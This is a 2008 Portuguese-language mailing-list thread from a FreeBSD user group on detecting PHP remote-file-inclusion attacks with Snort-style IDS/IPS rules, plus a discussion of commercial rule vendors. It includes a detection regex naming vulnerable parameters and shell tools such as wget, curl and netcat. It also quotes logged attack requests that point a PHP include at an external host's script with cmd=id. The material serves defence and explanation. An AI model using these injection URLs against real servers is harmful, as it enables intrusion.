[FUG-BR] OT-Ataque PHP injection
Patrick Tracanelli
eksffa em freebsdbrasil.com.br
Sexta Fevereiro 22 12:25:49 BRT 2008
William Grzybowski escreveu:
> Oi Patrick,
Buenos =)
>
> Não sei se entendi muito bem, poderia me dar uma luz?
> Php injection, como próprio nome ja diz é a inserção de codigo php
> causado por código mal escrito que permito o injeção de código php
> externo no servidor, correto?
Opa, confere hehehe
>
> Como que funcionam essas regras que você falou? Essas empresas liberam
> regras que atuam (obviamente) na ""camada"" do HTTP e analizam o
> trafego para os softwares vulneraveis que eles tem conhecimento e
> inclusao direta de scripts em servidores externos?
Cara, um IDS atua na camada 7, portanto de aplicação, seja qual
aplicação for. Pense então numa regra ridiculamente simples, que alerte:
- qualquer fluxo de qualquer origem pra qualquer destino em portas HTTP
conhecidas (80, 8080, 3128, etc)
- que cumpra os requisitos acima e contenha no payload um "GET "
(protocolo HTTP) com qualquer uma das expressoes:
- <qqcoisa>.php?<qqcoisa>=(http|ftp)
- <qqcoisa>.php?<qqcoisa>&<qqcoisa>=(http|ftp)
So a regra simplista acima daria match em coisas como
seila.php?ver=http://sei.na.net/seila2.php.txt
seila.php?ver=produtos&categoria=ftp://u:s@server/seila.txt
Ou seja ja eh indicio pleno de injection.
Adicione na verificacao se houver na URL (a partedo payload apos o GET
na porta http) qualquer coisa entre:
(\\?((LOCAL|INCLUDE|PEAR|SQUIZLIB)_PATH|action|content|dir|name|menu|pm_path|path|pathtoroot|cat|pagina|path|include_location|root|page|gorumDir|site|topside|pun_root|open|seite)=(http|https|ftp)\\:/|(cmd|command)=(cd|\\;|perl
|python |rpm |yum |apt-get |emerge |lynx |links |mkdir |elinks
|id|cmd|pwd|wget |uname|cvs |svn |(s|r)(cp|sh) |net(stat|cat) |rexec
|smbclient |t?ftp |ncftp |curl |telnet |gcc |cc |g\\+\\+
|\\./|whoami|killall |rm \\-[a-z|A-Z]))
Ai ja nem eh mais indicio, é descaramento.
Por exemplo, meu IPS acaba de pegar, nesse segundo, a seguinte tentativa:
"GET
http://www.freebsdbrasil.com.br/home.php?area=http://www.bestlearning.co.kr/bbs/tool25.txt?&cmd=id"
E 10 segundos antes:
Req: http://free.bsd.com.br
"GET
//admin_users.php?phpbb_root_path=http://www.artsconnect.com.au/art/can?
HTTP/1.1" 405 345 "(null)" "-" libwww-perl/5.805 "J5d9 em skwlwMAAUGeM-wAAAAF"
Qual é mais discarado? hhehehe se voce entrar em
http://www.bestlearning.co.kr/bbs/tool25.txt?&cmd=id
Ta la o codigo que, supostamente, deveria ser injetado no php da vitima
(eu).
A questão é, esses logs são de fluxo inbound, o que chega no meu IPS e
vai pra dentro, mas se o fluxo fosse outbound eu pegaria exatamente a
mesma coisa, pq o que passa no PAYLOAD é a mesma coisa, e é o que o
IDS/IPS analisa. Então se alguem aqui, ou um servidor de cliente no Data
Center for "comprometido" (ou o proprio cliente resolver brincar) e
tentar realizar os "probing" partindo daqui de dentro os alertas gerados
serao equivalentes.
Espero ter ajudado :)
>
> Vlw
>
> 2008/2/21 Patrick Tracanelli <eksffa em freebsdbrasil.com.br>:
>> Cristina Fernandes Silva escreveu:
>>
>>> É cobrada essas regras ? Vc tem alguma faixa de preço ? é apllicance
>> > ? ou somente as regras que posso usar no snort.
>>
>> Sim, são cobradas. Na Source Fire depende do seu perfil, tem varios
>> precos. Eles confiam no que voce diz: Se voce diz que é pequeno porte,
>> não importa se é uma multinacional, pagara como pequeno. No site da
>> SourceFire tem todos os detalhes sobre preços.
>>
>> São só as regras a principio, mas pode comprar o sistema deles. Não
>> conheço quem use no país o sistema deles. Mas não parece ser mais do que
>> o Snort com um front-end muito amigável.
>>
>> No caso da Juniper tem direito automaticamente a versão convertida pra
>> Snort todos que tem Juniper série 5000 e já pague a licença anual do IPS
>> (que é um add-on no firewall Juniper).
>>
>> No Brasil quem representa a venda das assinaturas Source Fire é a
>> BRConnection.
>>
>>
>>
>> >
>> >
>> >
>> > Em 21/02/08, Patrick Tracanelli<eksffa em freebsdbrasil.com.br> escreveu:
>> >> Cristina Fernandes Silva escreveu:
>> >>
>> >>> Acho que não fui clara, Vou explicar,
>> >> >
>> >> > Quero evitar que alguem da minha rede use o meu ip (endereço ) para
>> >> > fazer ataques
>> >> > de php injection para outro endereço externo. Até mesmo os meus
>> >> > usuarios interno fazer algum ataque para servidores externos..
>> >>
>> >>
>> >> Cristina, um IDS ou IPS (Snort) sem dúvidas, é suficiente. O nível de
>> >> satisfação vai depender da qualidade das regras de análise de instrusão
>> >> que você utilizar. Isso quer dizer que dependendo do nível de seriedade
>> >> da empresa será proveitoso assinar um serviço (comercial) que oferece
>> >> regras testadas e atualizadas. Apesar da escolha natural ser Source
>> >> Fire, minha escolha pessoal (e sugestão) é pelas regras fornecidas pela
>> >> Juniper. São as mesmas utilizadas no Juniper série 5000, convertidas pro
>> >> Snort.
>> >>
>> >> -------------------------
>> >> Histórico: http://www.fug.com.br/historico/html/freebsd/
>> >> Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd
>> >>
>> > -------------------------
>> > Histórico: http://www.fug.com.br/historico/html/freebsd/
>> > Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd
>>
>> -------------------------
>> Histórico: http://www.fug.com.br/historico/html/freebsd/
>> Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd
>>
>
>
>
--
Patrick Tracanelli
FreeBSD Brasil LTDA.
Tel.: (31) 3516-0800
316601 em sip.freebsdbrasil.com.br
http://www.freebsdbrasil.com.br
"Long live Hanin Elias, Kim Deal!"
Mais detalhes sobre a lista de discussão freebsd